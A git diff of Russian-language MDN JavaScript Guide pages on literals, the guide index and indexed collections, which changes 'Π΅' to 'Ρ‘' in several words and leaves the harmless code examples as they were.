<p>Π›ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ массива Ρ‚Π°ΠΊΠΆΠ΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ <code>Array</code>. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅Β {{jsxref("Array")}} ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Indexed_collections">упорядочСнныС Π½Π°Π±ΠΎΡ€Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…</a>.</p>
@@ -345,11 +345,11 @@ MY_OBJECT.key = "otherValue";</pre>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span><span class="comment token" style="color: #708090;">// ["home", undefined, "school"]</span></code>
</pre>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄Π»ΠΈΠ½Π° массива Ρ€Π°Π²Π½Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ΠΌ, элСмСнты <code>myList[0]</code> ΠΈ <code>myList[2]</code> ΠΈΠΌΠ΅ΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code>:</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄Π»ΠΈΠ½Π° массива Ρ€Π°Π²Π½Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘ΠΌ, элСмСнты <code>myList[0]</code> ΠΈ <code>myList[2]</code> ΠΈΠΌΠ΅ΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code>:</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// [undefined, "home", undefined, "school"]</span></code></pre>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄Π»ΠΈΠ½Π° массива Ρ€Π°Π²Π½Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ΠΌ, элСмСнты <code>myList[1]</code> ΠΈ <code>myList[3]</code> ΠΈΠΌΠ΅ΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code>. Π˜Π³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послСдняя запятая.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄Π»ΠΈΠ½Π° массива Ρ€Π°Π²Π½Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘ΠΌ, элСмСнты <code>myList[1]</code> ΠΈ <code>myList[3]</code> ΠΈΠΌΠ΅ΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code>. Π˜Π³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послСдняя запятая.</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// ["home", undefined, "school", undefined]</span></code></pre>
@@ -409,7 +409,7 @@ MY_OBJECT.key = "otherValue";</pre>
<h3 id="Π›ΠΈΡ‚Π΅Ρ€Π°Π»_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°">Π›ΠΈΡ‚Π΅Ρ€Π°Π» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</h3>
-<p>Π›ΠΈΡ‚Π΅Ρ€Π°Π» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° β€” это список ΠΈΠ· нуля ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠ°Ρ€, состоящих ΠΈΠ· ΠΈΠΌΠ΅Π½ свойств ΠΈ связанных с Π½ΠΈΠΌΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки ( <code>{}</code>Β ). Π’Π°ΠΌ Π½Π΅ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΡ‚Π΅Ρ€Π°Π» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² Π½Π°Ρ‡Π°Π»Π΅ выраТСния, Ρ‚.ΠΊ. это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ошибкС ΠΈΠ»ΠΈ ΠΊ повСдСнию, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, ΠΏΠΎΡ‚ΠΎΠΌΡƒ что символ "{"Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Π»ΠΎ Π±Π»ΠΎΠΊΠ°.</p>
+<p>Π›ΠΈΡ‚Π΅Ρ€Π°Π» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° β€” это список ΠΈΠ· нуля ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠ°Ρ€, состоящих ΠΈΠ· ΠΈΠΌΡ‘Π½ свойств ΠΈ связанных с Π½ΠΈΠΌΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки ( <code>{}</code>Β ). Π’Π°ΠΌ Π½Π΅ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΡ‚Π΅Ρ€Π°Π» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² Π½Π°Ρ‡Π°Π»Π΅ выраТСния, Ρ‚.ΠΊ. это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ошибкС ΠΈΠ»ΠΈ ΠΊ повСдСнию, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, ΠΏΠΎΡ‚ΠΎΠΌΡƒ что символ "{"Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Π»ΠΎ Π±Π»ΠΎΠΊΠ°.</p>
<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ свойству <code>myCar</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>car</code> присваиваСтся строка <code>"Saturn"</code>, свойству <code>getCar</code> β€”Β Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>CarTypes("Honda")</code>, свойству <code>special</code> β€”Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>Sales</code>:</p>
@@ -482,7 +482,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla
<h3 id="Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_Π»ΠΈΡ‚Π΅Ρ€Π°Π»">Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹ΠΉ Π»ΠΈΡ‚Π΅Ρ€Π°Π»</h3>
-<p>Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹ΠΉ Π»ΠΈΡ‚Π΅Ρ€Π°Π» β€” это ноль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ символов, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ( <code>"</code> ) ΠΈΠ»ΠΈ ΠΎΠ΄ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ ( <code>'</code> ) ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ. Π‘Ρ‚Ρ€ΠΎΠΊΠ° Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π° ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°, Ρ‚.Π΅. Π»ΠΈΠ±ΠΎ ΠΎΠ±Π΅ ΠΎΠ΄ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅, Π»ΠΈΠ±ΠΎ ΠΎΠ±Π΅ Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅. НапримСр:</p>
+<p>Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹ΠΉ Π»ΠΈΡ‚Π΅Ρ€Π°Π» β€” это ноль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ символов, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ( <code>"</code> ) ΠΈΠ»ΠΈ ΠΎΠ΄ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ ( <code>'</code> ) ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ. Π‘Ρ‚Ρ€ΠΎΠΊΠ° Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π° ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°, Ρ‚.Π΅. Π»ΠΈΠ±ΠΎ ΠΎΠ±Π΅ ΠΎΠ΄ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅, Π»ΠΈΠ±ΠΎ ΠΎΠ±Π΅ Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅. НапримСр:</p>
<pre><code>"foo"</code>
<code>'bar'</code>
@@ -599,14 +599,14 @@ POST`http://foo.org/bar?a=${a}&amp;b=${b}
<h4 id="Π­ΠΊΡ€Π°Π½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅_символы">Π­ΠΊΡ€Π°Π½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ символы</h4>
-<p>Для символов, Π½Π΅ пСрСчислСнных Π² Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅, ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΡΡŽΡ‰Π°Ρ обратная косая Ρ‡Π΅Ρ€Ρ‚Π° игнорируСтся. Π’Π°ΠΊΠΎΠ΅ использованиС Π½Π΅ являСтся Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΒ (deprecated)Β ΠΈ Π²Π°ΠΌ слСдуСт ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ Π΅Π³ΠΎ.</p>
+<p>Для символов, Π½Π΅ пСрСчислСнных Π² Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅, ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΡΡŽΡ‰Π°Ρ обратная косая Ρ‡Π΅Ρ€Ρ‚Π° игнорируСтся. Π’Π°ΠΊΠΎΠ΅ использованиС Π½Π΅ являСтся Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΒ (deprecated)Β ΠΈ Π²Π°ΠΌ слСдуСт ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ Π΅Π³ΠΎ.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΡƒΒ Π² строку, Ссли поставитС ΠΏΠ΅Ρ€Π΅Π΄ Π½Π΅ΠΉ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ. Π­Ρ‚ΠΎ называСтся экранированиСм ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ. НапримСр:</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> quote <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"He read \"The Cremation of Sam McGee\" by R.W. Service."</span><span class="punctuation token" style="color: #999999;">;</span>
console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>quote<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// He read "The Cremation of Sam McGee" by R.W. Service.</span></code></pre>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ Π² строку, ΠΏΠ΅Ρ€Π΅Π΄ Π½Π΅ΠΉ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Π΅ ΠΎΠ΄Π½Ρƒ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ. НапримСр:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ Π² строку, ΠΏΠ΅Ρ€Π΅Π΄ Π½Π΅ΠΉ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Ρƒ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ. НапримСр:</p>
<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> home <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"c:\\temp"</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// c:\temp</span></code></pre>
diff --git a/files/ru/web/javascript/guide/index.html b/files/ru/web/javascript/guide/index.html
index fcd22de953..52a44a45d9 100644
--- a/files/ru/web/javascript/guide/index.html
+++ b/files/ru/web/javascript/guide/index.html
@@ -110,7 +110,7 @@ translation_of: Web/JavaScript/Guide
<p><a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Π“Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ">Π“Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ</a><br>
<a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Π¦Π΅ΠΏΠΎΡ‡ΠΊΠ°_Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²">Π¦Π΅ΠΏΠΎΡ‡ΠΊΠ° Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²</a><br>
- <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#РаспространСниС_ошибки">РаспространСнныС ошибки</a><br>
+ <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#РаспространСниС_ошибки">РаспространённыС ошибки</a><br>
<a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΡ">ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΡ</a><br>
<a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ_выполнСния">ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ выполнСния</a></p>
</li>
diff --git a/files/ru/web/javascript/guide/indexed_collections/index.html b/files/ru/web/javascript/guide/indexed_collections/index.html
index ed49aa33bd..68a5001fdb 100644
--- a/files/ru/web/javascript/guide/indexed_collections/index.html
+++ b/files/ru/web/javascript/guide/indexed_collections/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Guide/Indexed_collections
<p><em>Массив</em> прСдставляСтся собой упорядочСнный Π½Π°Π±ΠΎΡ€ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π²Ρ‹ ΡΡΡ‹Π»Π°Π΅Ρ‚Π΅ΡΡŒ ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ ΠΈ индСксу. Допустим, Ρƒ вас Π΅ΡΡ‚ΡŒ массив с ΠΈΠΌΠ΅Π½Π΅ΠΌΒ <code>emp,</code> содСрТащий ΠΈΠΌΠ΅Π½Π° сотрудников ΠΈ упорядочСнный по Π½ΠΎΠΌΠ΅Ρ€Ρƒ сотрудников.Β Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ,Β <code>emp[1]</code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ собой имя сотрудника Π½ΠΎΠΌΠ΅Ρ€ ΠΎΠ΄ΠΈΠ½, <code>emp[2]</code>Β -- имя сотрудника Π½ΠΎΠΌΠ΅Ρ€ Π΄Π²Π°, ΠΈ Ρ‚.Π΄.</p>
-<p>Π―Π·Ρ‹ΠΊΒ JavaScript Π½Π΅ содСрТит явного Ρ‚ΠΈΠΏΠ° Π΄Π°Π½Π½Ρ‹Ρ… "массив". Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Array</code>Β ΠΈ Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с массивами Π² создаваСмых прилоТСниях. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Array</code> содСрТит ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с массивами самыми Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ способами, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΅ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для объСдинСния,  пСрСворачивания ΠΈ сортировки. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ содСрТит свойство для опрСдСлСния Π΄Π»ΠΈΠ½Ρ‹ массива, Π° Ρ‚Π°ΠΊΠΆΠ΅ свойства для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с рСгулярными выраТСниями.</p>
+<p>Π―Π·Ρ‹ΠΊΒ JavaScript Π½Π΅ содСрТит явного Ρ‚ΠΈΠΏΠ° Π΄Π°Π½Π½Ρ‹Ρ… "массив". Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Array</code>Β ΠΈ Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с массивами Π² создаваСмых прилоТСниях. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Array</code> содСрТит ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с массивами самыми Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ способами, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΅ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для объСдинСния,  пСрСворачивания ΠΈ сортировки. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ содСрТит свойство для опрСдСлСния Π΄Π»ΠΈΠ½Ρ‹ массива, Π° Ρ‚Π°ΠΊΠΆΠ΅ свойства для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с рСгулярными выраТСниями.</p>
<h3 id="БозданиС_массива">БозданиС массива</h3>
@@ -37,7 +37,7 @@ arr.length = arrayLength;
</pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ <code>arrayLength</code> Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ числовой Ρ‚ΠΈΠΏ <code>Number</code>. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π±ΡƒΠ΄Π΅Ρ‚ создан массив с СдинствСнным элСмСнтом (ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅). Вызванная функция <code>arr.length</code> Π²Π΅Ρ€Π½Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>arrayLength</code>, Π½ΠΎ Π½Π° самом Π΄Π΅Π»Π΅ массив Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ пустыС элСмСнты (undefined). ИспользованиС Ρ†ΠΈΠΊΠ»Π°<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"> </a> {{jsxref("Statements/for...in","for...in")}} для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ массива Π½Π΅ Π²Π΅Ρ€Π½Π΅Ρ‚ Π½ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ <code>arrayLength</code> Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ числовой Ρ‚ΠΈΠΏ <code>Number</code>. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π±ΡƒΠ΄Π΅Ρ‚ создан массив с СдинствСнным элСмСнтом (ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅). Вызванная функция <code>arr.length</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>arrayLength</code>, Π½ΠΎ Π½Π° самом Π΄Π΅Π»Π΅ массив Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ пустыС элСмСнты (undefined). ИспользованиС Ρ†ΠΈΠΊΠ»Π°<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"> </a> {{jsxref("Statements/for...in","for...in")}} для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ массива Π½Π΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π½ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта.</p>
</div>
<p>ΠœΠ°ΡΡΠΈΠ²Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ присвоСны свойству Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
@@ -114,7 +114,7 @@ arr["length"]; // Π’Π΅Ρ€Π½Ρ‘Ρ‚ число 3, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это свойстΠ
<h3 id="ПониманиС_length">ПониманиС <code>length</code></h3>
